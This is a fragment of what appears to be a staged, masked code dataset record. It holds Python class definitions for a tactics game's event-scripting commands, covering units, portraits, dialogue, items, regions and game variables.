'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass Sound(EventCommand):\n nid = 'sound'\n tag = Tags.MUSIC_SOUND\n desc = '\\nPlays the _Sound_ once.\\n '\n keywords = ['Sound']\n\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n desc = \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n keywords = ['PhaseMusic', 'Music']\n\n\nclass AddPortrait(EventCommand):\n nid = 'add_portrait'\n nickname = 'u'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = ['mirror', 'low_priority', 'immediate', 'no_block']\n\n\nclass MultiAddPortrait(EventCommand):\n nid = 'multi_add_portrait'\n nickname = 'uu'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait',\n 'ScreenPosition']\n\n\nclass RemovePortrait(EventCommand):\n nid = 'remove_portrait'\n nickname = 'r'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['immediate', 'no_block']\n\n\nclass MultiRemovePortrait(EventCommand):\n nid = 'multi_remove_portrait'\n nickname = 'rr'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\n\nclass MovePortrait(EventCommand):\n nid = 'move_portrait'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ScreenPosition']\n flags = ['immediate', 'no_block']\n\n\nclass BopPortrait(EventCommand):\n nid = 'bop_portrait'\n nickname = 'bop'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['no_block']\n\n\nclass Expression(EventCommand):\n nid = 'expression'\n nickname = 'e'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ExpressionList']\n\n\nclass Speak(EventCommand):\n nid = 'speak'\n nickname = 's'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\n\nclass Transition(EventCommand):\n nid = 'transition'\n nickname = 't'\n tag = Tags.BG_FG\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\n\nclass Background(EventCommand):\n nid = 'change_background'\n nickname = 'b'\n tag = Tags.BG_FG\n optional_keywords = ['Panorama']\n flags = ['keep_portraits']\n\n\nclass DispCursor(EventCommand):\n nid = 'disp_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Bool']\n\n\nclass MoveCursor(EventCommand):\n nid = 'move_cursor'\n nickname = 'set_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass CenterCursor(EventCommand):\n nid = 'center_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = 